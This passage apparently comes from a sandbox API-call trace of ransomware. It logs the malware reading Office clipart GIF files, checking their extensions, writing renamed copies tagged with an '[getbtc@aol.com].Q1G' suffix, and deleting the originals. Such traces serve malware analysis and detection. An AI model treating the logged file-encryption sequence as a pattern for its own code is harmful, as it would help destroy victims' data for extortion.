Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 63 [0055.011] lstrlenW (lpString=".jpg") returned 4 [0055.011] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.011] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.011] lstrlenW (lpString="AG00165_.GIF") returned 12 [0055.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.012] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=8582) returned 1 [0055.012] CloseHandle (hObject=0x234) returned 1 [0055.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 0x20 [0055.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.012] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.012] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.013] GetLastError () returned 0x0 [0055.013] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x2186, lpOverlapped=0x0) returned 1 [0055.014] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0055.015] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.015] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.015] SetEndOfFile (hFile=0x214) returned 1 [0055.015] CloseHandle (hObject=0x214) returned 1 [0055.015] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.016] SetEndOfFile (hFile=0x234) returned 1 [0055.016] CloseHandle (hObject=0x234) returned 1 [0055.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00165_.gif")) returned 1 [0055.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.017] lstrlenW (lpString=".doc") returned 4 [0055.017] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.017] lstrlenW (lpString=".docx") returned 5 [0055.017] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.017] lstrlenW (lpString=".pdf") returned 4 [0055.017] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.017] lstrlenW (lpString=".xls") returned 4 [0055.017] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.017] lstrlenW (lpString=".xlsx") returned 5 [0055.017] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.017] lstrlenW (lpString=".ppt") returned 4 [0055.017] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.017] lstrlenW (lpString=".zip") returned 4 [0055.017] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.017] lstrlenW (lpString=".rar") returned 4 [0055.017] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.017] lstrlenW (lpString=".bz2") returned 4 [0055.017] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.017] lstrlenW (lpString=".7z") returned 3 [0055.017] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.017] lstrlenW (lpString=".dbf") returned 4 [0055.017] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.017] lstrlenW (lpString=".1cd") returned 4 [0055.017] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.017] lstrlenW (lpString=".jpg") returned 4 [0055.018] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.018] lstrlenW (lpString=".doc") returned 4 [0055.018] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.018] lstrlenW (lpString=".docx") returned 5 [0055.018] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.018] lstrlenW (lpString=".pdf") returned 4 [0055.018] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.018] lstrlenW (lpString=".xls") returned 4 [0055.018] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.018] lstrlenW (lpString=".xlsx") returned 5 [0055.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.018] lstrlenW (lpString=".ppt") returned 4 [0055.018] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.018] lstrlenW (lpString=".zip") returned 4 [0055.018] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.018] lstrlenW (lpString=".rar") returned 4 [0055.018] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.018] lstrlenW (lpString=".bz2") returned 4 [0055.018] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.018] lstrlenW (lpString=".7z") returned 3 [0055.018] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.018] lstrlenW (lpString=".dbf") returned 4 [0055.018] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.018] lstrlenW (lpString=".1cd") returned 4 [0055.018] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 63 [0055.018] lstrlenW (lpString=".jpg") returned 4 [0055.018] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.019] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.019] lstrlenW (lpString="AG00167_.GIF") returned 12 [0055.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.019] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=4894) returned 1 [0055.019] CloseHandle (hObject=0x234) returned 1 [0055.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0055.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.019] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.019] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.020] GetLastError () returned 0x0 [0055.020] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x131e, lpOverlapped=0x0) returned 1 [0055.146] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x1320, lpOverlapped=0x0) returned 1 [0055.147] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.147] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.147] SetEndOfFile (hFile=0x214) returned 1 [0055.147] CloseHandle (hObject=0x214) returned 1 [0055.148] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.148] SetEndOfFile (hFile=0x234) returned 1 [0055.148] CloseHandle (hObject=0x234) returned 1 [0055.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0055.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.149] lstrlenW (lpString=".doc") returned 4 [0055.149] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.149] lstrlenW (lpString=".docx") returned 5 [0055.149] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.149] lstrlenW (lpString=".pdf") returned 4 [0055.149] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.149] lstrlenW (lpString=".xls") returned 4 [0055.149] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.149] lstrlenW (lpString=".xlsx") returned 5 [0055.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.149] lstrlenW (lpString=".ppt") returned 4 [0055.149] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.149] lstrlenW (lpString=".zip") returned 4 [0055.149] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.149] lstrlenW (lpString=".rar") returned 4 [0055.149] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.149] lstrlenW (lpString=".bz2") returned 4 [0055.150] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.150] lstrlenW (lpString=".7z") returned 3 [0055.150] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.150] lstrlenW (lpString=".dbf") returned 4 [0055.150] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.150] lstrlenW (lpString=".1cd") returned 4 [0055.150] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.150] lstrlenW (lpString=".jpg") returned 4 [0055.150] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.150] lstrlenW (lpString=".doc") returned 4 [0055.150] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.150] lstrlenW (lpString=".docx") returned 5 [0055.150] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.150] lstrlenW (lpString=".pdf") returned 4 [0055.150] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.150] lstrlenW (lpString=".xls") returned 4 [0055.150] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.150] lstrlenW (lpString=".xlsx") returned 5 [0055.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.150] lstrlenW (lpString=".ppt") returned 4 [0055.150] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.150] lstrlenW (lpString=".zip") returned 4 [0055.150] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.150] lstrlenW (lpString=".rar") returned 4 [0055.150] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.150] lstrlenW (lpString=".bz2") returned 4 [0055.150] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.150] lstrlenW (lpString=".7z") returned 3 [0055.150] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.151] lstrlenW (lpString=".dbf") returned 4 [0055.151] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.151] lstrlenW (lpString=".1cd") returned 4 [0055.151] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 63 [0055.151] lstrlenW (lpString=".jpg") returned 4 [0055.151] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.151] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.151] lstrlenW (lpString="AG00174_.GIF") returned 12 [0055.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.151] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3966) returned 1 [0055.151] CloseHandle (hObject=0x234) returned 1 [0055.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 0x20 [0055.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.152] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.152] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.152] GetLastError () returned 0x0 [0055.152] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0xf7e, lpOverlapped=0x0) returned 1 [0055.153] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0055.154] ReadFile (in: hFile=0x234, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.154] WriteFile (in: hFile=0x214, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.154] SetEndOfFile (hFile=0x214) returned 1 [0055.154] CloseHandle (hObject=0x214) returned 1 [0055.155] SetFilePointerEx (in: hFile=0x234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.155] SetEndOfFile (hFile=0x234) returned 1 [0055.155] CloseHandle (hObject=0x234) returned 1 [0055.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0055.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.156] lstrlenW (lpString=".doc") returned 4 [0055.156] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.156] lstrlenW (lpString=".docx") returned 5 [0055.156] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.156] lstrlenW (lpString=".pdf") returned 4 [0055.156] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.156] lstrlenW (lpString=".xls") returned 4 [0055.156] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.156] lstrlenW (lpString=".xlsx") returned 5 [0055.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.156] lstrlenW (lpString=".ppt") returned 4 [0055.156] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.156] lstrlenW (lpString=".zip") returned 4 [0055.156] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.156] lstrlenW (lpString=".rar") returned 4 [0055.156] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.156] lstrlenW (lpString=".bz2") returned 4 [0055.156] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.156] lstrlenW (lpString=".7z") returned 3 [0055.156] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.156] lstrlenW (lpString=".dbf") returned 4 [0055.157] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.157] lstrlenW (lpString=".1cd") returned 4 [0055.157] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.157] lstrlenW (lpString=".jpg") returned 4 [0055.157] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.157] lstrlenW (lpString=".doc") returned 4 [0055.157] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.157] lstrlenW (lpString=".docx") returned 5 [0055.157] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0055.157] lstrlenW (lpString=".pdf") returned 4 [0055.157] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.157] lstrlenW (lpString=".xls") returned 4 [0055.157] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.157] lstrlenW (lpString=".xlsx") returned 5 [0055.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0055.157] lstrlenW (lpString=".ppt") returned 4 [0055.157] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.157] lstrlenW (lpString=".zip") returned 4 [0055.157] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.157] lstrlenW (lpString=".rar") returned 4 [0055.157] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.157] lstrlenW (lpString=".bz2") returned 4 [0055.157] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.157] lstrlenW (lpString=".7z") returned 3 [0055.157] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.157] lstrlenW (lpString=".dbf") returned 4 [0055.157] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.157] lstrlenW (lpString=".1cd") returned 4 [0055.158] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0055.158] lstrlenW (lpString=".jpg") returned 4 [0055.158] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.158] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0055.158] lstrlenW (lpString="AG00175_.GIF") returned 12 [0055.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0055.158] GetFileSizeEx (in: hFile=0x234, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3378) returned 1 [0055.158] CloseHandle (hObject=0x234) returned 1 